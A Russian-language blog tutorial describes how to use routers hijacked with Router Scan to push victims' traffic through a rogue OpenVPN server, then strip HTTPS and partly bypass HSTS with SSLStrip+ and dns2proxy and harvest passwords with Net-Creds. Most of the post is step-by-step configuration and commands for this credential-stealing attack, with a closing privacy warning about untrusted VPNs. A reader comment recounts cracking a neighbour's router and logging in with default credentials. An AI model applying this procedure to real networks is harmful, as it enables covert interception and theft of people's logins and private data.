Инструкция по использованию Router Scan by Stas’M. Часть третья: Применение фальшивого VPN (атака человек-посередине+обход HSTS)

Возможна ли атака человек-посередине без доступа к локальной сети?

Если удалось получить доступ к сетевому оборудованию из Интернета (например, с помощью Router Scan by Stas’M), а доступа к локальной сети нет, то невозможно провести атаку человек-посередине. Или всё-таки возможно?

На самом деле возможно. Образец, как это сделать будет показан ниже. Более того, мы задействуем SSLStrip+ и dns2proxy для обхода HTTP Strict Transport Security (HSTS), а ещё будем использовать Net-Creds для лёгкого сбора паролей и другой чувствительной информации.

Если посмотреть порядок «обычной» атаки человек-посередине, то он заключается в следующем:

  • сканирование локальной сети в поисках рабочих устройств
  • ARP спуфинг, смысл которого заключается в том, что цели начинают думать, что трафик теперь нужно отправлять не через роутер, а через компьютер атакующего
  • чтобы у целей работал Интернет, атакующий перенаправляет запрос с целей в глобальную сеть, а полученные ответы передаёт целям

По сути, атакующий начинает выполнять роль прокси. При этом с передаваемым трафиком атакующий может делать следующие вещи:

  • анализировать его любым образом, например, для поиска паролей и любых других данных, передаваемых в незашифрованном виде
  • блокировать доступ к определённым сайтам или перенаправлять на мошеннические сайты
  • пытаться понизить протокол с HTTPS до HTTP, чтобы уменьшить количество данных, передаваемых в зашифрованном виде и увеличить количество передаваемых в виде простого текста
  • вставлять разное содержимое в веб-страницы, в том числе способное ввести в заблуждение или привести к заражению компьютера вредоносным кодом.

Если сказать коротко – с передаваемым трафиком прокси может делать всё или почти всё. Но, напомню, это при атаке человек-посередине, которая делается в локальной сети, и которая начинается с ARP спуфинга, который в глобальной сети невозможен.

Т.е. получив доступ к роутеру, нам нужно придумать, как заставить его передавать трафик нам, т.е. взаимодействовать с глобальной сетью через нас. Функция прокси, вроде бы, в роутерах не встречается или встречается редко. Но зато VPN…

Суть VPN в том, что клиент устанавливает зашифрованный канал с сервером и уже через этот сервер выходит в глобальную сеть. Т.е. клиент сам, без разных ARP спуфингов передаёт свой трафик удалённому компьютеру! А уже на этом удалённом компьютере можно выполнять атаку человек-посередине со всеми возможностями, которые описаны чуть выше!

Если этот VPN ваш, то тот факт, что при VPN трафик передаётся по зашифрованному каналу не имеет никакого значения, поскольку на сервере трафик в любом случае расшифровывается и внутри «ящика» «гуляет» в открытом виде.

Т.е. концепция понятна:

  • нужно настроить свой мошеннический VPN
  • сетевое оборудование жертвы настроить так, чтобы оно работало через наш VPN
  • на сервере проводить любые виды атак на перехват/модификацию/блокировку передаваемого трафика

Если уж совсем лезть в за корень, то благодаря VPN мы создаём новую локальную сеть поверх Интернет-соединения. В этой локальной сети сервер VPN является ничем иным как шлюзом и именно по этой причине получает весь трафик без ARP спуфинга.

В теории всё довольно гладко и просто. Но разные модели роутеров поддерживают разные реализации VPN. Это разнообразие не даст вместить все варианты установки и настройки VPN. Я выберу один из них – OpenVPN. Существуют роутеры, которые поддерживают OpenVPN. Но цель данной заметки показать рабочий концепт, а не сделать универсальную инструкцию. В любом случае под конкретное оборудование нужно будет делать особые настройки сервера VPN.

Кстати, OpenVPN работает на разных популярных ОС, т.е. если вы имеете доступ к сетевому оборудованию, то вы вполне можете подключить интересующие вас машины к «безопасному OpenVPN для шифрования данных, чтобы хакеры их не могли перехватить»…

Особенности настройки OpenVPN для шпионажа за трафиком

Как уже было сказано, я покажу пример тюнинга (подстройки) сервера OpenVPN для облегчения сниффинга трафика. Кстати, как настроить OpenVPN на BlackArch рассказано здесь, а как настроить OpenVPN на Debian (Kali Linux, Mint, Ubuntu) рассказано здесь.

Открываем файл с настройками сервера:

vim /etc/openvpn/server.conf

Если там есть строка вроде такой:

push "dhcp-option DNS 8.8.8.8"

то меняете её на строку:

push "dhcp-option DNS IP_сервера_с_dns2proxy"

Этим мы заставляем цель использовать наш DNS прокси в качестве DNS сервера. Например, мой мошеннический OpenVPN поднят на IP 185.117.153.79, там же будет запущен dns2proxy, поэтому в моём случае строка имеет вид:

push "dhcp-option DNS 185.117.153.79"

По умолчанию OpenVPN использует протокол UDP. SSLStrip+ не видит этот трафик, поэтому меняем протокол с UDP на TCP. Т.е. строку

proto udp

на строку

proto tcp

Тестируем OpenVPN сервер

openvpn /etc/openvpn/server.conf

И перезапускаем его

systemctl restart openvpn@server.service
systemctl status openvpn@server

На клиенте также выберите TCP протокол, например, на настольных ОС в конфигурационном файле

vim /etc/openvpn/client.conf

строку

proto udp

нужно поменять

proto tcp

И перезапустите

sudo systemctl restart openvpn@client

На сервере для «переброса» трафика используют разные правила для iptables. Вот пример такого файла на рабочем сервере:

#!/bin/sh
 
echo 1 > /proc/sys/net/ipv4/ip_forward
 
# Пример настройки файервола для OpenVPN.
 
# Если нужно, сделайте соответствующие 
# изменения, сети вашего OpenVPN
PRIVATE=10.8.0.0/24
 
# Петлевой адрес
LOOP=127.0.0.1
 
# Удалить старые правила iptables
# и временно заблокировать весь трафик.
iptables -P OUTPUT DROP
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -F
 
# Установление политик по умолчанию
iptables -P OUTPUT ACCEPT
iptables -P INPUT DROP
iptables -P FORWARD DROP
 
# Предотвращаем использование локальных адресов внешними пакетами
iptables -A INPUT -i ens3 -s $LOOP -j DROP
iptables -A FORWARD -i ens3 -s $LOOP -j DROP
iptables -A INPUT -i ens3 -d $LOOP -j DROP
iptables -A FORWARD -i ens3 -d $LOOP -j DROP
 
# Всё, что приходит из Интернета, должно иметь реальный адрес
iptables -A FORWARD -i ens3 -s 192.168.0.0/16 -j DROP
iptables -A FORWARD -i ens3 -s 172.16.0.0/12 -j DROP
iptables -A FORWARD -i ens3 -s 10.8.0.0/8 -j DROP
iptables -A INPUT -i ens3 -s 192.168.0.0/16 -j DROP
iptables -A INPUT -i ens3 -s 172.16.0.0/12 -j DROP
iptables -A INPUT -i ens3 -s 10.8.0.0/8 -j DROP
 
# Блокируем исходящий NetBios (если в вашей подсети
# есть машины с Windows).  Это не окажет влияния на какой-либо
# трафик NetBios, который идёт по VPN туннелю, но остановит
# локальные машины Windows от самостоятельного 
# широковещания в Интернет.
iptables -A FORWARD -p tcp --sport 137:139 -o ens3 -j DROP
iptables -A FORWARD -p udp --sport 137:139 -o ens3 -j DROP
iptables -A OUTPUT -p tcp --sport 137:139 -o ens3 -j DROP
iptables -A OUTPUT -p udp --sport 137:139 -o ens3 -j DROP
 
# Разрешаем локальные петли
iptables -A INPUT -s $LOOP -j ACCEPT
iptables -A INPUT -d $LOOP -j ACCEPT
 
# Позволяем входящий пинг (можно отключить)
# iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
 
# Разрешаем такие службы как www и ssh (можно отключить)
iptables -A INPUT -p tcp --dport http -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
 
# Разрешаем входящие пакеты OpenVPN 
# Дуплицируйте строку ниже для каждого
# туннеля OpenVPN, меняя --dport n
# для соответствия порту OpenVPN UDP.
#
# В OpenVPN номер порта
# контролируется опцией --port n.
# Если вы разместили эту опцию в конфигурационном 
# файле, вы можете удалить предшествующие '--'
#
# If you taking the stateful firewall
# approach (see the OpenVPN HOWTO),
# then comment out the line below.
 
iptables -A INPUT -p udp --dport 1194 -j ACCEPT
 
# Разрешить пакеты от устройств TUN/TAP.
# Когда OpenVPN запущен в безопасном режиме,
# он будет проверять подлинность пакетов до
# их прибытия на интерфейс 
# tun или tap.  Следовательно нет
# необходимости добавлять сюда какие-либо фильтры,
# если вы не хотите ограничить
# тип пакетов, которые могут проходить
# через туннель.
 
iptables -A INPUT -i tun+ -j ACCEPT
iptables -A FORWARD -i tun+ -j ACCEPT
iptables -A INPUT -i tap+ -j ACCEPT
iptables -A FORWARD -i tap+ -j ACCEPT
 
# Сохранить состояние подключений от локальной машины и частных сетей
iptables -A OUTPUT -m state --state NEW -o ens3 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state NEW -o ens3 -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
 
# Маскировка локальной сети
iptables -t nat -A POSTROUTING -s $PRIVATE -o ens3 -j MASQUERADE

В нём можно всё оставить без изменений, кроме этой стрпоки:

iptables -A INPUT -p upd --dport 1194 -j ACCEPT

которую нужно поменять на такую (опять же из-за смены протокола):

iptables -A INPUT -p tcp --dport 1194 -j ACCEPT

Перехват логинов и паролей в VPN

Теперь можно воспользоваться любым вам привычным ПО для перехвата и модификации данных. Например, для просмотра паролей я буду использовать Net-Creds:

net-creds -i tun0

Обратите внимание на выбранный сетевой интерфейс - tun0. Это не имя реального физического интерфейса, это интерфейс, которым VPN на сервере подключён к клиентам.

Также уже сейчас можно вставлять хуки BeEF или любой HTML и JavaScript код.

Частичный обход HSTS

Зашифрованный трафик, доля которого постоянно возрастает, не даёт нам заглянуть во внутрь передаваемой информации. Связка из SSLStrip+ и dns2proxy поможет нам решить эту проблему и даже частично обойти HSTS.

Ставим необходимые зависимости (показано на примере BlackArch, залогинен под рутом):

pacman -S python2-service-identity python2-pcapy

Начнём с добавления новых правил роутинга на сервере VPN :

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 2000
iptables -t nat -A PREROUTING -p tcp --destination-port 1194 -j REDIRECT --to-port 2000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

Скачиваем и запускаем SSLStrip+:

git clone https://github.com/singe/sslstrip2.git
cd sslstrip2/
nohup python2 ./sslstrip.py -l 2000 &

Скачиваем и запускаем dns2proxy:

cd ..
git clone https://github.com/singe/dns2proxy.git
cd dns2proxy/
nohup python2 dns2proxy.py &

Теперь опять можно запустить Net-Creds, в этот раз пойманных паролей будет значительно больше:

net-creds -i tun0

Как видно по следующим скриншотам, yandex.ru, vk.com, google.com и другие очень хорошо поддаются данной атаке:

01

02

Заключение

Итак, думаю, главная цель заметки – показать, что VPN может использоваться в злых намерениях, достигнута.

В процессе тестирования мне пришла мысль, что использовать разнообразные прокси серверы и VPN, принадлежащие неизвестным лицам, – это, по крайней мере, рискованно. Я не говорю, что все те, кто предоставляет услуги прокси и VPN, мошенники. Но абсолютно ничего не им не мешает анализировать и записывать трафик, перехватывать в нём данные, отправленные в открытом виде. Даже если данные передаются по зашифрованным каналам, владельцы VPN или прокси внутри своих машин имеют дело с незашифрованными данными (если они не зашифрованы на ещё каком-нибудь этапе).

Многим кажется, что иметь «свой» собственный VDS сервер со своим персональным VPN – это и есть выход. Но ведь физически к вашему серверу имеют доступ третьи лица! При таком доступе, например, если файловая система не зашифрована, то не нужен никакой пароль рута для доступа к любому файлу в системе. А получив копии сертификатов вашего VPN сервера, лица без труда смогут расшифровать весь трафик VPN. Даже «задним числом», т.е. если они «снимали» (записывали) зашифрованный трафик на протяжении последнего месяца, но у них не было данных для расшифровки, то, получив сертификаты, они смогут расшифровать трафик за предыдущий месяц.

В общем «если у вас нет паранойи, то это ещё не означает, что за вами не следят».

One Comment to Инструкция по использованию Router Scan by Stas’M. Часть третья: Применение фальшивого VPN (атака человек-посередине+обход HSTS)

  1. Алексей:

    извените конечно но я не бог это всё проделать я много конечно что изучил за месяц использования линукс но не до такой степени) у меня на крыше tp-link 722 я подобрал пароль к хэншейку сгенерировал сам библиотеки (номера телефонов) за 2 дня он подошол потом я попробывал подключить по вай фай через квартал зайти на роутер набрав айпи подошол стандартный пароль админ админ запускал этар кап сслстрип по вашим методикам не получилось))))верней не работает netcreds так то всё получается кроме него )  и беда с видеодрайвером чтоб пароль так долго не ждать цпу даже разогнанный не тащит)) всё перерыл негде нету как тупо на kali установить 680 драйвер от nvidia может дело в системе???? я её на внешний жосткий диск установил с флешки

     

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *